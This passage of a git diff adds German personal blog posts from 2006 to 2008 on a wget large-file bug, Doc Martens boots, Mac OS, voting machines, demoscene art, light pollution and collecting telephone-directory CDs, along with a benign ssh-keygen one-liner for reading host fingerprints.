21werfen.
22
23#### Nachtrag
24
25Und natuerlich enttaeuscht mich wget auch beim weiteren Herunterladen eines 2298815162 Bytes langen Files nicht:
26<pre>
27HTTP request sent, awaiting response... 200 Coming Up
28Length: -1,996,152,134 [application/octet-stream]
29
30 [ <=> ] 1,226 --.--K/s
31
3219:59:08 (11.69 MB/s) - `<FILENAME>' saved [1226/-1996152134])
33</pre>
34Und nein, es ist nicht der Webserver, der da die Content-Lenght so rausgib:
35<pre>
36HTTP/1.1 200 Coming Up
37Content-Type: application/octet-stream
38Server: Gatling/0.9
39Content-Length: 2298815162
40</pre>
41Qualitaetssoftwaere.
diff --git a/blog/2006/Nikolaus.md b/blog/2006/Nikolaus.md
new file mode 100644
index 0000000..c336d4b
--- /dev/null
+++ b/blog/2006/Nikolaus.md
@@ -0,0 +1,52 @@
1<!--
2.. date: 2006/12/15 20:16
3.. title: Nikolaus
4-->
5
6Wie fuer jeden respektablen vierzehnjaehrigen Vorstadtpunker gehoerte auch fuer mich die Wahl der passenden Fussbekleidung massgeblich zur Definition des
7Erscheinungsbilds. Ein Rundumblick in meiner damalige Kohorte – besser gesagt auf deren Botten – verriet mir ziemlich schnell, wohin der Zug gehen
8sollte: Aus einem mir damals komplett verborgenen Grund heraus haben es [Doc Martens](http://en.wikipedia.org/wiki/Doc_Martens) Schuhe geschafft, in
9der links-intellektuell links-liberal und links-radikalen Szene zum shoe-to-wear aufzusteigen. Und die natuerlich moeglichst bunt – moeglichst ungepflegt,
10eventuell mit Gloeckchen an roten Baendeln und selbstbemalten Bluemchen auf dem Leder fuer die Maedchen, mit reichlich innovativem Fixierkram wie Gaffaband,
11Sicherheitsnadeln und Jeansbuegelflicken fuer die Herrn – und natuerlich mit Stahlkappe fuer die harte Fabrikarbeit und die taeglichen Pruegeleien mit den
12Rechten ;) Die Wahl der Schnuersenkelfarbe war natuerlich essentiell! Nie durfte man sich mit weissen blicken lassen, jene waren den Nazis und den Punks, die
13sich wie Nazis verkleiden, um sie dann besser verhauen zu koennen (fragt nicht, war so ;) vorbehalten. Mit roten und gestreiften war man schon von Weitem als
14eher radikalerer Linker zu identifizieren, die rosanen (naja.. eigentlich trug nur einer meiner Bekannten rosa Senkel) zeichneten Mitglieder der radikalen
15schwulen Szene aus. Mit schwarzen, so wie sie aus dem Laden kamen, outete man sich so irgendwie als Modepunk, hatte aber auch im Zweifel vor allen Radikalen
16Ruhe und lief (fuer damalige Verhaeltnisse) nicht mit Markenschuhen herum.
17
18Daran, mir mein eigenes Paar zu besorgen, fuehrte so natuerlich kein Weg vorbei – allein in Berlin waren diese Treter mit fast zwohundert Mark und einem
19Taschengeld von zwoelffuffzich in der Woche unerschwinglich teuer. Davon musste man sich naemlich auch noch die restliche szenetypische Verkleidung, wie
20Kapuzenpullis und bedruckte T-Shirts, heranschaffen.
21
22Wie es der Zufall so wollte, fuehrte mich mein Nerdhobby auf ein Geekzusammentreffen in London. Meine Eltern liessen fuer die Reise Kohle springen,
23schliesslich ging es ja auch um Weiterbildung und ich konnte die Welt kennenlernen, uuuuuuund – alle Punkerfreunde waren neidisch – gab es
24Geruechten zu Folge in London bei Shelleys Doc Martens fuer 30 Pfund, rund 90 DM. Dort hatte sich Doc Martens als lose Marke fuer alle Hersteller von billigen
25Arbeiterbotten gehalten und es war schwer, mit den Preisen anzuziehen. Ueberhaupt koenntet ihr euch mal [mit der
26Geschichte](http://www.veganline.com/brand.htm) und dem eher unruehmlichen Ende der Marke (fuer mich) vertraut machen. ([Hier noch
27mehr](http://www.veganline.com/bouncing-boot.htm).)
28
29Fuer mich war ganz klar, dass ich die Chance nutzen musste, mir die Schuhe dort zu kaufen. Neunzig Mark waren jedoch auch kein [Pappenstiel](http://www.korrekturen.de/beliebte_fehler/pappenstil.html). Also machte ich meine ersten Versuche mit der Marktwirtschaft als
30Schuhverkaeufer. Ich sammelte Bestellungen ein schlug dreiste 20 Mark drauf, von denen ich jedoch nur zehn offiziell als Aufwandsentschaedigung deklarierte, die
31andere Haelfte log ich mit hoeheren Einkaufspreisen, stark schwankenden Wechselkursen und grosszuegigem Aufrunden zusammen. Am Ende musste ich nur noch zehn Mark
32aus meiner eigenen Tasche bezahlen, was ich fuer eine Reise nach London und ein paar In-Boots als ziemlich lockeren Deal empfand.
33
34Ironischerweise waren das wirklich die billigsten Boots, die ich jemals gekauft habe (selbst bei unsubventioniertem Preis), welche dann mit drei Jahren fast
35durchgaengiger Benutzung auch noch am laengsten gehalten haben. Schon die direkt im Anschluss gekauften Docs gaben bereits nach einem halben Jahr ihren Geist
36auf, da die Marke nun offiziell zur Modeschuhmarke verkommen war.
37
38Leider hatte ich meiner Tollpatschigkeit wegen die Stahlkappe extrem liebgewonnen. Nach allem, was mir da schon draufgefallen ist, wuerden mir heute
39bestimmt eine handvoll Zehen fehlen. Die Marktsituation bei den Stahlkappenboots war aber nicht besonders rosig: Die Naht ueber der Kappe, wie sie andere
40Hersteller drauftun, finde ich schlicht haesslich. Aufgenaehte Flammenmuster auch. Gluecklicherweise entdeckte ich die (in Google einfach unauffindbare)
41Schuhfirma Tredair, die erstens im Gegensatz zu Doc Martens nicht Kinder in Vietnam und China naehen laesst und zweitens auch einfach viel tollere Schuhe macht.
42Die Naht am Hacken faengt nicht schon nach zwei Wochen Benutzung mit Aufdroeseln an, da noch liebevoll ein Stueck Leder herumgenaeht ist, die Pappe unter der
43Kappe bricht einfach selbst mit meinen destruktiven Zehen nicht. Meine letzten haben anderthalb Jahre gehalten und das ist eigentlich mehr, als man von taeglich
44und ueberall getragenen Botten erwarten kann.
45
46Als ich jedoch vor zwei Wochen bei meinem [lokalen Stammdealer](http://www.blue-moon-shoes.de/kontakt.html) Nachschub holen wollte, fiel ich fast
47aus allen Wolken: Zehnloch gibt es gar keine mehr und Achtloch kaemen erst wieder rein. Die Produktion scheint eingestellt, oder nicht mehr zu lohnen, oder
48allein der Import nicht mehr zu lohnen, kurzum: Ich machte mich auf eine Recherchereise im Internet, um eventuell direkt von Werk zu ordern oder vielleicht einen
49obskuren Importeur zu finden. Aber nix! Man findet sie ueberhaupt kaum und wenn, dann in Farben, die erklaeren, warum sie noch zu haben sind oder als schmucke
50Halbschuhe.
51
52Und heute... heut habe ich dann wenigstens noch die Achtloch eingesackt. Und zwar gleich zwei Paar. Man weiss ja nie, wie lange es die noch gibt...
diff --git a/blog/2006/Tims_Name_ist.md b/blog/2006/Tims_Name_ist.md
new file mode 100644
index 0000000..85adb7a
--- /dev/null
+++ b/blog/2006/Tims_Name_ist.md
@@ -0,0 +1,6 @@
1<!--
2.. date: 2006/01/19 21:05
3.. title: Tims Name ist
4-->
5
6... [Stinkepuper Vollhorst, bekloppter.](http://tim.geekheim.de)
diff --git a/blog/2006/Vollkaskodeure.md b/blog/2006/Vollkaskodeure.md
new file mode 100644
index 0000000..187ce59
--- /dev/null
+++ b/blog/2006/Vollkaskodeure.md
@@ -0,0 +1,24 @@
1<!--
2.. date: 2006/01/02 04:31
3.. title: Vollkaskodeure
4-->
5
6Nachdem sich [Fefe](http://blog.fefe.de/?ts=bd49e296) in seiner unnachahmlichen Manier ueber Apple und Mac OS und vor allem das "seinen Verwandten Mac OS Ueberhelfen" elaboriert hat, wuerde ich nach einem Jahr Benutzung eines 12"-PowerBooks meine Gedanken gern festgehalten wissen.
7
8Ich halte mich fuer aus der Kategorie "pragmatischer Nerd" kommend und pathetische Apple-Fan-Boi-Eskapaden wie die des Herrn P. aus B. an der S. liegen mir fern. Trotzdem ist nicht zu uebersehen, dass Apple verdammt viel richtig gemacht hat. Nicht, dass deren Hardware nun ausnehmend geil sei. Im Gegenteil: mein iPod versagte nach 6 Wochen den Dienst, mein PowerBook sieht nach einem Jahr Gebrauch schlimmer aus, als mein gutes altes IBM T20 nach 6 Jahren – und das bei vorsichtigerer Behandlung. Auch buntes Bonbon-Geblinke auf dem Bildschirm wuerde mir kein mildes Urteil entlocken, meine Ansprueche sieht man, wenn man weiss, dass ich nach einem halbjaehrigen gnome-Experiment meine X11-Tage mit twm zufrieden fristete – xterm, Thunderbird, Firefox, vlc und psi funktionieren auch ohne fetten Sessionmanager.
9
10Als ich aber die Redaktion der Datenschleuder mit dem damit verbundenen Zwang, ein brauchbares Satzprogramm zu benutzen, uebernahm, blieben mir nur die Optionen, einen IBM mit Hin-und-Herbooten zwischen FreeBSD und Windows oder ein Mac OS X mit oben bunt und unten Unix zu benutzen.
11
12In der Zwischenzeit habe ich zu Hause weiter an nem FreeBSD-Desktop gearbeitet und zum Programmieren von mobilen Endgeraeten konnte ich auf Windows nicht verzichten. Und Ja! Mac OS kommt ohne gcc – nervt, ist aber bei Debian genauso und kann man leicht nachinstallieren. Mac OS' Kernel kommt in den Releases mit Bugs, die in den entsprechenden FreeBSD-Sourcen laengst gefixt sind. Mac OS braucht unverschaemt viel Speicher fuer all den bunten blinkenden Unrat – laesst aber zumindest die Grafikkarte die rechenintensive Drecksarbeit machen. Und vieles von dem Grafik-Overkill macht auch schlicht Sinn: Dropshadows, Boldfonts an den richtigen Stellen... Mac OS nervt einen aber auch mit all den kleinen Dingen, die einem im Normalfall (Mami zu hause) vernuenftig erscheinen: Rechner zu -> suspend, Configoptions fuer Bloede, Styles im Clipboard mitkopieren, etc... und die Navigation zwischen einzelnen Fenstern mit nur Tastaturclicken ist umstaendlich.
13
14Fefe meinte, man muesse fuer Sicherheitsugrades Geld bezahlen und warf das mit den OS-Upgrades, die halt in deutlich hoeherer Frequenz als bei M$ kommen, durcheinander: Bloedsinn. Security Updates sind umsonst und ich kenne genug Nutzer, die mit ihrem damals legal erworbenen 10.2 durchaus noch effektiv arbeiten. Sowieso raubkopieren meine Mac-Freunde um Groessenordnungen weniger und vor allem weniger selbstverstaendlich, als die Windowsler im Freundeskreis. Was auch immer das ueber sie aussagen mag.
15
16Und wenn mich etwas an der Oberflaeche von Mac OS stoert, dann sind das so Dinge wie "man kann, wenn man ein dabei ist, ein File zu draggen, mit Expose den Finder gefunden hat, in selbigem nicht mit Apfel-CursorUp navigieren" – unter Windows kaeme ich nicht mal in die Verlegenheit, sowas ueberhaupt zu versuchen. Es ist Jammern auf hohem Niveau und ja, natuerlich kann einem das als angepisster Linux-Nutzer, der von solchen Problemen nicht einmal ahnt, schon auf die Nerven gehen, wenn Leute, die ob ihres Betriebssystems davon ausgehen, dass auf nem Computer einfach alles funktioniert, ohne, dass man viel selber dafuer tun muss, dann die selbe Erwartung an Multimedia-Material stellen, welches auf ihren Rechner faellt. Klar, Fefe hat drei Dutzend Jahre gebraucht, bis das Setup auf seinem Rechner so aussieht, dass _er_ damit leicht alle moeglichen Dinge anfangen kann, vielen Benutzern ist nicht soviel Zeit beschieden und sie wollen ihren Rechner einfach benutzen.
17
18Und auch hier moechte ich das "stell deinem nicht-Nerd-Kumpel nen Mac ins Haus und du hoerst von ihm nie wieder"-Stereotyp bestaetigen: wenn mir irgendjemand, an dem mir was liegt, am Telefon erzaehlt, er wuerde sich nen Windowsrechner ins Haus stellen, bliebe mir aus Gewissensgruenden gar nichts weiter uebrig, als bei ihm noch, bevor er versucht, den Rechner mit seiner AOL-CD ans Netz zu tun, vorbeizuschneien, diverse Service Packs von CD einzuspielen, den IE runterzuwerfen, ihm einen Webmailaccount auf MEINEM mail-Server einzurichten, um Outlook wegwerfen zu koennen, Volker Birks OS-Vernaglungsskripte auszufuehren und ihm einzuschaerfen, dass, wenn er jemals auf nen Attachment clickt, er mich gar nicht mehr anzurufen braucht. Danach wuerde ich ihm nen Plasterouter hinstellen und hoffen, dass sich nie ein Paket auf die Windowsbox verirrt. Und wer mal versucht hat, jemanden per Telefon durch die Systemsteuerung zu lotsen, kann sich vorstellen, welche Freude es im Gegenteil ist, von Freunden zu hoeren, die sich nen Mac ins Haus stellen wollen.
19
20Zugegeben, mit dem Schwenk auf x86er wird die volle Expertise der hacker-cracker-bauernwhacker, die auf Windowsen und Webservern zuhause sind, auf Mac OS eindreschen, mit einem hoeheren Marktanteil werden auch dort Viren, Wuermer und Konsorten heimischer weil lohnender, was mich als pragmatischen Nerd natuerlich erstmal die Bohne interessiert, bis dahin kann ich immer noch meine Telefonnummer aendern.
21
22Und was Mac OS fuer mich bedeuetet: wenn ich Windows oder FreeBSD benutze, klopf ich (wie hier auch schonmal ausgefuehrt) wie bloede auf die F9-Taste: Expose und QuickSilver lassen alle anderen Desktopenvironments klobig wirken, wer "Apfel+," kennt, hat keinen Bock mehr, bei Windowsprogrammen nach den Options, Settings, Preferences, Internet Options, Properties... zu suchen. Das gesamte Environment wirkt aufgeraeumt und verhaelt sich wohl zu den anderen Oberflaechen wie BSD zu Linux.
23
24Und, um Fefe nun nochmal seine "Vollkaskomentalitaet" zurueckzuwerfen: wer diese an den Tag legt, hat genau dann Recht, wenn er Vollkasko bezahlt und deren Erfuellung nicht bei mir einfordert.
diff --git a/blog/2006/Wahlhelfer.md b/blog/2006/Wahlhelfer.md
new file mode 100644
index 0000000..351711b
--- /dev/null
+++ b/blog/2006/Wahlhelfer.md
@@ -0,0 +1,10 @@
1<!--
2.. date: 2006/11/12 04:12
3.. title: Wahlhelfer
4-->
5
6Mit zwoelf wurde ich das erste Mal Zeuge einer freien, geheimen demokratischen Wahl. Mein Vater nahm mich nach dem Sonntagskaffee mit in unser Wahllokal. Die Helfer waren aufgeregt und die Stimmung feierlich. In einer Ecke sass der frisch arbeitlose Offizier und zaehlte die Waehler – aus reiner Gewohnheit. In der anderen wachte der oertliche Buergerbewegte seinerseits ueber den ordentlichen Ablauf.
7
8Ich war ein unertraeglicher Klugscheisser und wollte natuerlich nicht glauben, dass es keine Moeglichkeiten zum Betrug gaebe. Also piesakte ich meinen Papa mit dutzenden "aber was, wenns" – doch all mein angestrengtes ausgefuchstes Nachgruebeln konnte nichts zutage foerdern, wie die Wahl zu manipulieren sei. Vom anfaenglichen Fuellstand der Wahlurne ueber die Anzahl der Stimmzettel pro Waehler bis zum Zusammenzaehlen der Stimmen anhand von Kreuzen in bestimmten Kreisen – die gesamte Prozedur konnte buchstaeblich von einem Sechstklaessler ueberwacht werden. Sogar die korrekte Uebermittlung der Ergebnisse aus dem Wahllokal konnte ein Blick in die Lokalzeitung am naechsten Morgen bestaetigen. Auf mich machte all dies gehoerigen Eindruck. Wer immer sich dieses Verfahren ausgedacht hat, hatte absichtlich fuer alle Probleme die einfachste, uebersichtlichste Loesung gefunden.
9
10Sechzehn Jahre spaeter sehe ich fassungslos Bilder aus Cottbus. Dort verwandeln Waehler ihre Stimme in schmucklosen grauen Plasteboxen in den Ladungszustand von ein paar Flipflops im Innern veralteter Prozessoren in Computern aus den Gruenderjahren. Und ploetzlich stelle ich mir vor, wie ein kleiner vorlauter Dreikaesehoch seinem Papa ordentlich mit Fragen einheizt.
diff --git a/blog/2007/Art_and_beauty.md b/blog/2007/Art_and_beauty.md
new file mode 100644
index 0000000..5dfddb6
--- /dev/null
+++ b/blog/2007/Art_and_beauty.md
@@ -0,0 +1,30 @@
1<!--
2.. date: 2007/04/19 15:06
3.. title: Art and beauty
4-->
5
6Ein Gutteil meiner Sozialisierung fand unter Nerds statt. Und nicht die Art Nerds, die sich primaer durch unansehnliche Karohemden auszeichnen und in den
7Oednissen des Linuxkernels vergraben. Auch nicht die Art Nerds, die mit Loetkolben und Phasenpruefer bewaffnet alles zerforschen, was ihnen in den Weg stellt
8(auch, wenn mir das nicht komplett fremd ist). Und schon gar nicht die Art Nerds, die das Netz fuer das hoechste der Gefuehle halten und, einmal im Jungle
9freigelassen, zwar nach 3 Stunden verhungern wuerden, aber fuer die letzten beiden Stunden noch Mail und IRC organisiert haetten. Nein! All diesen Nerdstaemmen
10begegnete ich erst deutlich spaeter.
11
12Dort, wo ich gross wurde, hat man die Bits noch mit der Hand gepflegt. In Assembler. Und man hat sie bevorzugt dahin getan, wo sie vor Farben spruehende
13Bilder unterlegt mit moderner Musik erzeugt haben. Ziel des Spiels war und ist es, mit moeglichst wenig Ressourcen (deren kuenstliche Verknappung noch zu den
14besonderen Disziplinen gehoert) beeindruckende echtzeitberechnete Filmsequenzen zu generieren. Dabei reichte das damals uebliche Spektrum von
15(Star Trek inspirierten) Sternenfeldern, Scrolltexten aller Coleur, Feuer- und Plasmaeffekten, 2,5D-Bildprojektionen bis zu Tunneleffekten, zum
16Echtzeit-Raytracing- und casting, zu Voxelspaces und zum Texture-Mapping und -Shading aller Art. Diese Sequenzen werden Demos genannt und ueblicherweise treffen
17sich die Nerds auf Demoparties, um sich in "Compos" gegenseitig ihr Produktionen vorzufuehren und darueber abzustimmen, welche am tollsten ist.
18
19Warum ich das alles schreibe? Zu Ostern habe ich kurz vorm Altwerden nochmal die [Breakpoint](http://breakpoint.untergrund.net/) besucht, um mich
20nostalgisch mit dem Jungbullenmief zu umgeben, der dort latent durch die Halle schwebt, oder hoeflicher: "Den Spirit zu atmen" sozusagen. Waehrend ich im
21Allgemeinen eher vom hohen Durchschnittsalter schockiert war (damals waren wir und alle anderen noch pubertierende Nerds), gab es doch ein paar altbekannte
22Gesichter zu gucken und bei den PC-Demos eine (leider nicht live erlebte) Kinnladenrunterklapp-Demo. Die Gruppe Farbrausch veroeffentlichte [Debris](http://www.pouet.net/prod.php?which=30244) ([als Video](ftp://ftp.untergrund.net/users/kb/videos/farbrausch%20-%20fr-041%20debris%20%5B1280%5D.mp4)). Das besondere an diesem, auch stilistisch
23sicheren und kuenstlerisch sehr kreativen, Film ist seine Dateigroesse. In rund 180 Kilobyte haben alle Texturen, Modelle, Kamerapositionen und Blickwinkel, die
24Beleuchtung, Bewegungsmuster der Objekte, der Programmcode zur Animation, die gesamte Musik und nicht zu vergessen der Datenblock am Anfang der .EXE, der dem
25Betriebssystem verraet, welcher Art die ausfuehrbare Datei ist. Zum Vergleich: 180kb divx sind kaum 2 Sekunden animiertes Bild in 1024x768, 180kb mp3 sind unter
2610 Sekunden Musik, ein PC-Programm, das nichts weiter tut, als "Hello World" auf dem Bildschirm auszugeben, ist bereits 3kb gross.
27
28Einziger Wehrmutstropfen: durch die Konzentration auf den gebuersteten Stil und das, was Farbrausch am besten kann, Texturen und Objekte zu komprimieren,
29bleiben andere Arten von Effekten, die nicht von der Grafikkarte erledigt werden, zunehmend aussen vor. Aber ich glaube, dass ich erst ningeln sollte, wenn ich
30selber wieder mal an einer Demo mitgeschrieben haben.
diff --git a/blog/2007/Ausgeknipst.md b/blog/2007/Ausgeknipst.md
new file mode 100644
index 0000000..931fcf8
--- /dev/null
+++ b/blog/2007/Ausgeknipst.md
@@ -0,0 +1,27 @@
1<!--
2.. date: 2007/12/07 02:55
3.. title: Ausgeknipst
4-->
5
6Eine der beeindruckendsten Erfahrungen in diesem Jahr war, den Sternenhimmel zu sehen. Und das nicht in der homoeopatischen Darreichungsform, die der
7Mitteleuropaer gewohnt ist. Nein, im direkten Kontrast zum Milchsuppenhimmel in Tokyo, an dem man mit viel Muehe den Polarstern ausmachen kann, habe ich kaum
872h spaeter mit dem Ruecken auf einer eher abgelegenen Strasse in einem abgelgenen Gebiet Nordaustraliens eine Ahnung davon erhalten, wie unsere Vorfahren wohl
9den Himmel erlebt haben.
10
11Der Anblick ist schwer zu beschreiben, man wird foermlich ueberwaeltigt von tausenden und abertausenden funkelnder Punkte, und ueberall, wo man meinte,
12dunkle Bereiche zu entdecken, werden sie beim genaueren Hinschauen mit noch mehr Sternen gefuellt. Waehrend der zwei Wochen Fahrt durch Australien habe ich
13diesen Himmel liebgewonnen.
14
15[In Europa](http://www.savethenight.eu/Lights%20in%20Europe.html) sieht es – wie eingangs erwaehnt – am Himmel ziemlich truebe aus.
16Durch Streuung in der Luft und partielle Reflexion in den hoeheren Schichten der Atmosphaere trifft man in Mitteleuropa nirgends mehr auf [Orte mit aussergewoehnlich dunklem Himmel](http://de.wikipedia.org/wiki/Lichtverschmutzung#Einteilung).
17
18Waehrend Slovenien in einem [Gesetz aus dem Sommer dieses Jahres](http://www.darksky.org/news/press-2007-08-31.php) versucht, der [Lichtverschmutzung](http://www.lichtverschmutzung.de/) Einhalt zu gebieten, fallen andere europaeische Staaten wie Belgien mit den nachts grell
19beleuchteten Autobahnen besonders stark auf Satellitenbildern auf.
20
21Daneben gibt es noch hunderte andere Quellen der Lichtverschmutzung, von schlecht gerichteter Strassenbeleuchtung ueber Reklametafeln, Diskoleuchtfingern,
22Flutlichtanlangen bis zum Strassenverkehr. Das Abblendlicht eines einzigen vorbeifahrenden Autos hat in der australischen Steppe auf der Stelle 75% der Sterne
23verschwinden lassen.
24
25Nun gibt es am Samstag abend um 2ooo Uhr in Deutschland eine [umstrittene Aktion](http://www.lichtaus.info/), fuer fuenf Minuten alle Lichter
26auszuschalten, die auf Energieverschwendung hinweisen soll. Ist mir eigentlich egal, nur – wenn sich alle daran hielten – bestuende die entfernte
27Moeglichkeit, auch in Berlin mal wieder die Milchstrasse zu sehen.
diff --git a/blog/2007/Bekannte_Gastgeber.rst b/blog/2007/Bekannte_Gastgeber.rst
new file mode 100644
index 0000000..47e8dad
--- /dev/null
+++ b/blog/2007/Bekannte_Gastgeber.rst
@@ -0,0 +1,7 @@
1.. date: 2007/11/24 12:49
2.. title: Bekannte Gastgeber
3
4Ein Eintrag aus der "note to self"-Rubrik. Heute: wie man trotz der bescheuerten openssh-Tools den Fingerprint eines Hosts aus der ~/.ssh/known_hosts extrahiert. Geht in einer Zeile.::
5
6 PK=`mktemp /tmp/XXXXXXXX`; ssh-keygen -F HOST_TO_FINGERPRINT > ${PK}; ssh-keygen -f ${PK} -l; rm ${PK}
7
diff --git a/blog/2007/Fruehstuecksueberwachungsverein.md b/blog/2007/Fruehstuecksueberwachungsverein.md
new file mode 100644
index 0000000..b0f47aa
--- /dev/null
+++ b/blog/2007/Fruehstuecksueberwachungsverein.md
@@ -0,0 +1,7 @@
1<!--
2.. date: 2007/07/23 17:19
3.. title: Fruehstuecksueberwachungsverein
4-->
5
6Das geschaetzte Frollein Halbe ist aufmerksame Testerin Berliner Fruehstueckslokalitaeten. Im von ihr mit Berichten versorgten [Blog Fruehstueck in Berlin](http://nureinhobby.org/berlinbreakfastblog/), das sich durch einen entspannten Podcast hervortut, habe nun auch ich meine
7ausgiebige Erfahrung mit der [Berliner Fruehstueckerszene](http://www.paderkino.de/kritiken/03/herr_lehmann.html) in einer [Kooperation](http://nureinhobby.org/berlinbreakfastblog/) verewigt. Subscribieren, natuerlich!
diff --git a/blog/2007/Herrenwitz.md b/blog/2007/Herrenwitz.md
new file mode 100644
index 0000000..977c6e8
--- /dev/null
+++ b/blog/2007/Herrenwitz.md
@@ -0,0 +1,11 @@
1<!--
2.. date: 2007/04/30 10:54
3.. title: Herrenwitz
4-->
5
6In den meisten Berliner Kneipen, also zumindest in denen, wo der sich anbahnende Geschlechtsverkehr ehrenamtlich ist, haengen in den Herrentoiletten Automaten,
7in denen der geneigte Herr Praeservative erwerben kann.
8
9Auf dem im Restaurant "Fellas", welches sich besonders dadurch hervortut, dass es auch Sonntags noch bis 17ooUhr Fruehstueck (und zwar Fruehstueck und kein
10Brunch) anbietet, strahlte mich nun heute in Katerlaune folgender Anblick an, brachte mich zum lange nachdenken und rettete meinen Tag:
11[![](/stats/blog/pics/stoertaste.jpg)](/stats/blog/pics/stoertaste.jpg)
diff --git a/blog/2007/Lebensstilreflexion.md b/blog/2007/Lebensstilreflexion.md
new file mode 100644
index 0000000..1d46e73
--- /dev/null
+++ b/blog/2007/Lebensstilreflexion.md
@@ -0,0 +1,6 @@
1<!--
2.. date: 2007/11/24 21:28
3.. title: Lebensstilreflexion
4-->
5
6Manchmal fragte ich mich ja sowieso schon, was mich zum Wohnen in diesem meinen Kiez getrieben hat. Nun hat die Zeit [eine schonungslose Abrechnung mit der "Generation Prenz'lberg"](http://www.zeit.de/2007/46/D18-PrenzlauerBerg-46?page=all) geschrieben, die mir aus dem Herzen spricht und mich gleichzeitig doch selber so betrifft. Feine Schreibe und Dutzende zitatfaehige – den Nagel unglaublich genau auf den Kopf treffende – Saetze.
diff --git a/blog/2007/Pauker.md b/blog/2007/Pauker.md
new file mode 100644
index 0000000..e950a2e
--- /dev/null
+++ b/blog/2007/Pauker.md
@@ -0,0 +1,18 @@
1<!--
2.. date: 2007/08/31 00:43
3.. title: Pauker
4-->
5
6Ich hatte einen coolen Mathelehrer. Wirklich. Beim Wuehlen in meinen alten Gitarrennoten habe ich eine von ihm handschriftlich geschriebene Antwort auf einen
7schrecklich naiv-polemischen Beitrag meinerseits in der vor 13 Jahren gedruckten Schuelerzeitschrift gefunden.
8
9Das erste mal hatte ich in der achten oder neunten Klasse bei ihm Unterricht. Er sass im Schneidersitz mit einem [Hüsker Dü](http://en.wikipedia.org/wiki/Hüsker Dü)-Shirt, ner zerrissenen Jeans und Chucks auf einer der vorderen Schulbaenke,
10wartete, bis alle Schueler im Raum waren uns machte sich einen Spass daraus zu beobachten, wie wir alle darauf warteten, wo denn der Lehrer blieb. Gleich nach
11dem Klingeln sprang er dann vom Tisch und begann mit dem Unterricht
12
13Nunja, ihm hatte ich zu verdanken, dass ich mir schon im zarten Abiturientenalter Robert Michels [Zur Soziologie des Parteiwesens in der modernen Demokratie](http://www.sgipt.org/politpsy/staatsl/michels.htm) und [die richtige Musik](http://www.myspace.com/killyouridols/) reinzog und spaeter selber zur Stromgitarre griff. Natuerlich hat er auch auf eine ziemlich
14stilsichere Art Mathematik heruebergebracht und mich sicher trotz meiner Faulheit durch das Abitur bugsiert.
15
16Als ich nun mal hinter ihm her recherchiert habe, stellte sich raus, dass er an der Schule die eine AG Schulband angeleiert hat, eine Kryptographie-AG
17betreut und noch immer [im Kapuzi](http://schulfotos.browndirtcowboy.de/bilder/big_0548.jpg) herumlaeuft. Schoen, dass der Schulbetrieb noch immer
18so starke Persoenlichkeiten zu bieten hat! Mal auf einem Ehemaligentreffen zu treffen versuchen.
diff --git a/blog/2007/ezjail-mailinglist.rst b/blog/2007/ezjail-mailinglist.rst
new file mode 100644
index 0000000..bba688b
--- /dev/null
+++ b/blog/2007/ezjail-mailinglist.rst
@@ -0,0 +1,5 @@
1.. title: ezjail-mailinglist
2.. date: 2007/03/22 18:00
3.. tags: ezjail
4
5A `mailing list <mailto:ezjail@erdgeist.org>`_ has been created. An archive can be found `here <https://elektropost.org/ezjail/threads.html>`_. `Please subscribe to post. <mailto:ezjail-subscribe@erdgeist.org>`_
diff --git a/blog/2008/Datenmessie.md b/blog/2008/Datenmessie.md
new file mode 100644
index 0000000..bd5019e
--- /dev/null
+++ b/blog/2008/Datenmessie.md
@@ -0,0 +1,82 @@
1<!--
2.. date: 2008/07/23 21:06
3.. title: Datenmessie
4-->
5
6Es gibt so Tage, da liebe ich mein Heimatland einfach. Die ganzen vermufften spiessigen Strukturen, das braesige Bildungsbuergertum und ihre Ordnungsliebe.</p>
7
8Heute war so ein Tag. Nach der Investition von nur 41EUR habe ich nun meine Sammlung komplett. 12 Jahre digitale Fernmeldegeschichte nur eine handbreit entfernt und niemand kann mich mehr aufhalten. Aber der Reihe nach.
9
10Wie schon in [Die Datenschleuder #77](http://ds.ccc.de/pdfs/ds077.pdf) (Seite 26) und [Die Datenschleuder #86](http://chaosradio.ccc.de/media/ds/ds086.pdf) (Seite 63) angedeutet, habe ich eine – nennen wir es – Sammelleidenschaft fuer elektronisch erfasste Telefon-Teilnehmerverzeichnisse. Gut, man kann argumentieren, dass sich die wirklich spannenden Leute eh nicht dort eintragen lassen, dass die automatisierte Auswertung datenschutzrechtliche Fragen beruehrt, dass dort bewusst falsche Datensaetze eingetragen wurden, um [Kopien von Konkurrenten](http://www.pcwelt.de/start/computer/archiv/10349/topware_pleite/) zu entdecken.
11
12Man kann aber nicht leugnen, dass sich aus den Informationen zumindest spannende Trends ableiten lassen. Dass sich diese Trends wieder auf den Einzelnen anwenden lassen und so ein buntes, bewegtes Bild Deutschlands gewinnen laesst.
13
14Vor ungefaehr einem Jahr wurde mir klar, dass man mit den wenigen Momentaufnahmen, die ich aus sportlichen Gruenden aus dem Telefonbuch gewonnen habe, keinen langfristigen Blumentopf gewinnen kann. Und wenn ich eh immer die neueste Version der Daten brauche, dann koennte ich gleich ein Archiv anlegen.
15
16Mein erster Gedanke war natuerlich eBay, die Ausbeute dort jedoch nicht sehr ergiebig. Bevor ich in einem hellen Moment mal google ausprobierte und mit der Nase auf amazon gestossen wurde, ging die Akquise nur sehr schleppend voran, da auch keiner meiner bekannten Nerds (sonstige Freunde sowieso nicht) so alte CDs/DVDs in ihren Grabbelkisten finden konnte oder wollte, so sie meine Nachfragen ueberhaupt fuer voll genommen hatten.
17
18Haendler, die noch auf Restposten der diversen Jahrgaenge sassen, freuten sich natuerlich die Platze, fuer den Plastemuell noch den einen oder anderen Euro (in Einzelfaellen gar den unverschaemten Neupreis) zu verdienen, um ihre Lagerflaechen zu entlasten. Bei der Herbstausgabe 1998 war aber auch hier die Antiquitaetsgrenze erreicht, auch, wenn lustigerweise immer noch einzelne Haendler Fruehjahr '98 im Inventar listen, um mir dann bei Bestellung aus "Fehlinventarisierungsgruenden" abzuspringen oder – aus Vorfreude aufs Paket-Sicht noch schlimmer – einfach die aktuell verfuegbare Nachfolger-CD zu schicken.
19
